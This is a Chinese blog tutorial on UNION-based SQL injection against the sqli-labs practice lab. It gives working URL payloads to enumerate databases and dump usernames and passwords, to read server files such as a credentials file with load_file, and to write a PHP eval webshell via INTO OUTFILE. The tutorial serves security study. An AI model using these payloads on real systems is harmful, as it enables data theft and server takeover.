草庐IT

SQL注入之union 联合注入

小gao 2024-04-05 原文

目录

一、union查询的特性

1.1、特性-1

1.2、特性-2

1.3、特性-3

二、union联合注入

2.1、让sqlib的Less-1页面显示出来2和3

2.2、MySQL中的一些函数

2.3、MySQL中的函数和union的联合使用方法

2.4、group_concat()函数

2.5、使用union和group_concat函数进行sql注入

2.6、分析注入过程

2.7、使用union获取 users 表中的cloumn_name字段名

2.8、使用union获取 user表里字段中的值

三、union注入读写文件

3.1、查看MySQL读写文件的设置

3.2、修改MySQL配置文件,实现任意位置读写

3.3、union注入读取文件(load_file) 

3.3.1、读取静态文件

3.3.2、读取PHP文件 

3.4、union写入文件into outfile

四、union联合注入总结 

4.1、联合注入总结

4.2、文件读写注入总结

声明

此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。 


一、union查询的特性

UNION联合查询的作用:把多个表中的数据联合在一起进行显示

注意:使用union查询的 select语句必须有用相同数量的字段,同时每条select 语句中的字段顺序必须相同。

第一步:创建两个结构相同的学生表tb_student1与tb_student2

mysql> create table tb_student1(
	id mediumint not null auto_increment,
	name varchar(20),
	age tinyint unsigned default 0,
	gender enum('男','女'),
	subject enum('ui','java','yunwei','python'),
	primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student1 values (1,'悟空',255,'男','ui');
mysql> insert into tb_student1 values (2,'如来',100,'男','ui');

mysql> create table tb_student2(
	id mediumint not null auto_increment,
	name varchar(20),
	age tinyint unsigned default 0,
	gender enum('男','女'),
	subject enum('ui','java','yunwei','python'),
	primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student2 values (2,'唐僧',30,'男','yunwei');
mysql> insert into tb_student2 values (3,'无天',40,'男','yunwei');

第二步:使用UNION进行联合查询 可以将 tb_student1 表和 tb_student2表中 的两个记录合并到一个表中,一起显示出来。

mysql> select * from tb_student1 union select * from tb_student2;

1.1、特性-1

正常的语句可以都显示出来,我们不按常理出牌,我们把语句ID值改成-1

mysql> select * from tb_student1 where id=-1 union select * from tb_student2 where id=2;

+----+--------+------+--------+---------+

| id | name   | age  | gender | subject |

+----+--------+------+--------+---------+

| 2  | 唐僧    |  30    | 男         | yunwei    |

+----+--------+------+--------+---------+

1 row in set (0.00 sec)

小结:-1是不存在的,所以使用union查询,如果查询不到,但是也不会报错,这里只把查询到的给显示出来了。

1.2、特性-2

mysql> select * from tb_student1 where id=-1 union select 1,2,3,4,5;

+----+--------+------+--------+---------+

| id | name   | age  | gender | subject |

+----+--------+------+--------+---------+

|  1 |      2    |    3    |        4    |      5    |

+----+--------+------+--------+---------+

2 rows in set (0.00 sec)

select 1,2,3,4,5是什么意思?

首先,select 之后可以接一串数字:1,2,3,4,5只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,如:

111,22,665,99999,553,2 但是要注意,我们这个表中只有5个字段(分别是id,name,age,gender,subject)。我们在这个表中只能查询五个字段。

查询的数字是什么意思?有什么用?

我们知道正常的sql语句是

select * from tb_student1;

小结:select直接加数字时,可以不写后面的表名,那么它输出的内容就是我们select后的数字.

mysql> select 1,2,3,4,5 from tb_student1;

+---+---+---+---+---+

| 1 | 2 | 3 | 4 | 5 |

+---+---+---+---+---+

| 1 | 2 | 3 | 4 | 5 |

+---+---+---+---+---+

1 row in set (0.00 sec)

1.3、特性-3

select * from tb_student1 where id=1 union select * from tb_student1 where id=2;

+----+--------+------+--------+---------+

| id | name   | age  | gender | subject |

+----+--------+------+--------+---------+

|  1 | 悟空   |  255 | 男     | ui      |

|  2 | 如来   |  100 | 男     | ui      |

小结:使用UNION进行联合查询相同的表 合并到一个表中,一起显示出来。

二、union联合注入

首先打开浏览器 sqlib第一关

http://192.168.83.144/sqli/Less-1/?id=1

这是我的sqlib,想知道如何下载sqlib的可以去我的上一篇博客去看,连接我放下面了。

(3条消息) 什么是 SQL 注入(SQL injection)_小gao的博客-CSDN博客

第一关数据库中的表为下图所示,我们可以看到有三个字段,分别是id username password

由下图可知,只有两个显示位 id显示的位置并没有显示出来(id显示不出来是因为写的代码就没有让id显示出来,无伤大雅),name password 显示出来了 我们可以利用这两个显示位做一些事,我们给id,name,password编号为123 ,现在我们的需求是让23 显示到页面上。

2.1、让sqlib的Less-1页面显示出来2和3

在HackBar中写入:

http://192.168.83.144/sqli/Less-1/?id=1' union select 1,2,3 --+

页面没有变化,原因是显示位不够了

我们输入上面的参数,数据库中执行的是:

mysql> select * from users where id =1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

|  1 | Dumb     | Dumb     |

|  1 |       2        |     3        |

+----+----------+----------+

2 rows in set (0.00 sec)

结合【1.2、特性-2】 这一小结可知 我们把 id修改成-1 就可以了。

我们先在在数据库中执行:

mysql> select * from users where id =-1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

|  1 |          2        |         3        |

+----+----------+----------+

1 row in set (0.00 sec)

然后在hackbar中运行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2,3 --+

2.2、MySQL中的一些函数

我们在使用union联合注入的时候需要了解到一些关于MySQL的知识,才能更好的去注入。

  • version() 查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user:当前用户名
  • @@datadir:读取数据库路径
  • @@basedirmysql安装路径
  • group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
  • load_file(): 读取文件
  • into outfile: 写入文件
  • ascii() :字符串的ASCII代码值
  • substr(): 返回字符串的一部分
  • length(): 返回字符串的长度
  • sleep(): 让此语句运行N秒钟

2.3、MySQL中的函数和union的联合使用方法

用法也很简单,直接在函数前面加上select

mysql> select database();
mysql> select version();

既然select 1,2,3可以显示内容,select database()也能显示内容,那么我们结合起来。

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,database(),version() --+

2.4、group_concat()函数

group_concat()函数功能 where 条件匹配到的多条记录连接成一个字符串。

语法:group_concat (str1, str2,...)

例如:

select table_schema,table_name from information_schema.tables where table_schema='security';

解析一下table_schema和table_name是什么意思,这两个分别表示数据库的库名和具体的表名,也可以理解为表的库名和表的表名。information_schema.tables表示所有数据库的表的集合。

+--------------+------------+

| table_schema | table_name |

+--------------+------------+

| security     | emails     |

| security     | referers   |

| security     | uagents    |

| security     | users      |

+--------------+------------+

使用group_concat()函数 table_name 表里面所有的内容一起显示出来

select table_schema,group_concat(table_name) from information_schema.tables where table_schema='security';

+--------------+-------------------------------+

| table_schema | group_concat(table_name)      |

+--------------+-------------------------------+

| security     | emails,referers,uagents,users |

+--------------+-------------------------------+

为什么要使用这个函数?因为Less-1这里显示位只有两个,而我们查到的数据不止2条,我们需求是把所有查到的表都显示出来,所以我们要用group_concat()函数连接起来作为一行显示。

2.5、使用uniongroup_concat函数进行sql注入

23 号显示位替换成我们要查的内容

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables
where table_schema ='security' --+

此时我们查询到了 4 个表名称分别是:emails,referers,uagents,users

2.6、分析注入过程

我们看一下Less-1的源码

我们注入是在29行这里      SELECT * FROM users WHERE id='$id' LIMIT 0,1

当前我们构造的SQL语句为

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+' LIMIT 0,1

红色的部分就是我们构造的sql语句。

数据库中实际执行的sql语句

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+

注意:--+把后面的 ' LIMIT 0,1 给注释掉了

我们在数据库中测试一下

mysql> SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database();

+----+----------+-------------------------------+

| id | username | password                      |

+----+----------+-------------------------------+

|  1 | security | emails,referers,uagents,users |

+----+----------+-------------------------------+

1 row in set (0.00 sec)

发现注入成功。

2.7、使用union获取 users 表中的cloumn_name字段名

我们先在Navicat打开数据库找一下users这个表名:

如果我们要从users 获取column 字段名 sql语句应该这样写

select column_name from information_schema.columns where TABLE_SCHEMA='security' and TABLE_NAME = 'users'

这里的column_name表示:字段名

information_schema.columns表示:所有数据库的字段的集合

此时我们可以看见users表中有三个字段,id,username,password

MySQL数据库中执行

mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+-------------+

| table_schema | table_name | column_name |

+--------------+------------+-------------+

| security     | users      | id          |

| security     | users      | username    |

| security     | users      | password    |

+--------------+------------+-------------+

group_concat()函数把查询到的字段column_name连接起来

select table_schema,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+---------------------------+

| table_schema | table_name | group_concat(column_name) |

+--------------+------------+---------------------------+

| security     | users      | id,username,password      |

+--------------+------------+---------------------------+

1 row in set (0.00 sec)

在浏览器中执行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema =database() and table_name ='users' --+

 我们在user 表中查到三个字段,分别是 id,username,password

下一步就是获取三个字段中的值。

2.8、使用union获取 user表里字段中的值

我们首先navicat中查看user表里字段中的值

在数据库中执行

mysql>  select username,password from users;

+----------+------------+

| username | password   |

+----------+------------+

| Dumb     | Dumb       |

| Angelina | I-kill-you |

| Dummy    | p@ssword   |

| secure   | crappy     |

| stupid   | stupidity  |

| superman | genious    |

| batman   | mob!le     |

| admin    | admin      |

| admin1   | admin1     |

| admin2   | admin2     |

| admin3   | admin3     |

| dhakkan  | dumbo      |

| admin4   | admin4     |

+----------+------------+

13 rows in set (0.00 sec)

用group_concat()把查询到的users 连接起来

select group_concat(username,password) from users;

 在浏览器hackbar中执行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,password) from users--+

用户名密码 都连接到一块了,我们可以用逗号分隔

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,',',password) from users--+

三、union注入读写文件

3.1、查看MySQL读写文件的设置

mysql> show global variables like 'secure%';

+------------------+-----------------------+

| Variable_name    | Value                 |

+------------------+-----------------------+

| secure_auth      | ON                    |

| secure_file_priv | /var/lib/mysql-files/ |

+------------------+-----------------------+

2 rows in set (0.00 sec)

其中secure_file_priv 这一项:

           NULL的时候表示禁止读写文件

            的时候表示允许读写

           为某个路径的时候,表示只能在这个路径进行文件读写

读写文件必备条件:

  1. secure_file_priv=
  2. 必须知道文件的绝对路径
  3. web目录有读写入权限

3.2、修改MySQL配置文件,实现任意位置读写

修改MySQL配置文件

mysql/bin/my.ini

添加一句:

secure_file_priv=

cmd中查看是否为空:

 重启生效

3.3、union注入读取文件(load_file) 

3.3.1、读取静态文件

MySQL 中读取文件,使用 load_file("文件路径/名称")

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/1.txt') --+

1231213123123就是1.txt的内容

3.3.2、读取PHP文件 

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc') --+

读取不到是为什么?

因为我们这个环境是php搭建的,读取php文件的时候就被php程序解析了,db-creds.inc不是php后缀,但是内容是php的。

想解决这个问题怎么办?

很简单,把我们读取到的php文件用hex函数编码一下。(hex函数可以把二进制数据转为16进制字符串)

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,hex(load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc')) --+

我们把读取到的16进制字符串转为文本字符串,可以打开这个网站在线转换 

16进制到文本字符串的转换,16进制-BeJSON.com

3.4、union写入文件into outfile

用法 into outfile 语句用于把表数据导出到一个文本文件中

用法: select * from users into outfile "/var/lib/mysql/123.txt";

PHP一句话木马写入到web目录

http://127.0.0.1:8888/sqli-labs/Less-1/?id=1' union select 1,'<?php eval($_POST[123]); ?>',3 into outfile 'C:/XAMPP2/htdocs/muma/a.php' --+

写入木马后我们可以用webshell 工具连接了。(我这里用的是蚁剑)

访问之前上传的木马,确认文件目录

 

 

 

此时我们就已经连接到了靶机。

四、union联合注入总结 

4.1、联合注入总结

  1. 先判断是否有注入点
  2. order by 判断出有几个字段
  3. union select 求显示位
  4. 获取库名 database()
  5. 获取数据库中的表 group_concat(table_name) from information_schema.tables where table_schema=database();
  6. 查询出表中字段名 group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=表名;
  7. 查询字段的值 group_concat(字段名,字段名) from 表名;

4.2、文件读写注入总结

1.secure_file_priv=

2.必须知道文件的绝对路径

3.web目录有读写入权限

有关SQL注入之union 联合注入的更多相关文章

  1. Hive SQL 五大经典面试题 - 2

    目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类

  2. sql - 查询忽略时间戳日期的时间范围 - 2

    我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时

  3. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  4. sql - 在 Rails Console for PostgreSQL 的表中显示数据 - 2

    我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有

  5. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  6. ruby-on-rails - 如何在 Rails 中的不同数据库上执行直接 SQL 代码 - 2

    我正在编写一个Rails应用程序,它将监视某些特定数据库的数据质量。为了做到这一点,我需要能够对这些数据库执行直接SQL查询——这当然与用于驱动Rails应用程序模型的数据库不同。简而言之,这意味着我无法使用通过ActiveRecord基础连接的技巧。我需要连接的数据库在设计时是未知的(即:我不能将它们的详细信息放在database.yaml中)。相反,我有一个模型“database_details”,用户将使用它来输入应用程序将在运行时执行查询的数据库的详细信息。因此与这些数据库的连接实际上是动态的,细节仅在运行时解析。 最佳答案

  7. ABB-IRB-1200运动学分析MATLAB RVC工具分析+Simulink-Adams联合仿真 - 2

    一、机器人介绍        此处是基于MATLABRVC工具箱,对ABB-IRB-1200型号的微型机械臂进行正逆向运动学分析,并利Simulink工具实现对机械臂进行具有动力学参数的末端轨迹规划仿真,最后根据机械模型设计Simulink-Adams联合仿真。 图1.ABBIRB 1200尺寸参数示意图ABBIRB 1200提供的两种型号广泛适用于各作业,且两者间零部件通用,两种型号的工作范围分别为700 mm 和 900 mm,大有效负载分别为 7 kg 和5 kg。 IRB 1200 能够在狭小空间内能发挥其工作范围与性能优势,具有全新的设计、小型化的体积、高效的性能、易于集成、便捷的接

  8. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

  9. sql - Rails:使用 Postgres 创建对象时重复 ActiveRecord::RecordNotUnique? - 2

    我正在使用Rails4应用程序,它需要创建大量对象以响应来自另一个系统的事件。当我调用create!时,主键列上出现非常频繁的ActiveRecord::RecordNotUnique错误(由PG::UniqueViolation引起)我的模型之一。我在SO上找到了其他答案,建议挽救异常并调用retry:beginTableName.create!(data:'here')rescueActiveRecord::RecordNotUnique=>eife.message.include?'_pkey'#Onlyretryprimarykeyviolationslog.warn"Retr

  10. ruby - 为什么 Ruby 注入(inject)方法不能对没有初始值的字符串长度求和? - 2

    为什么下面的代码会报错?['hello','stack','overflow'].inject{|memo,s|memo+s.length}TypeError:can'tconvertFixnumintoStringfrom(irb):2:in`+'from(irb):2:in`blockinirb_binding'from(irb):2:in`each'from(irb):2:in`inject'from(irb):2如果传递了初始值,它就可以正常工作:['hello','stack','overflow'].inject(0){|memo,s|memo+s.length}=>18

随机推荐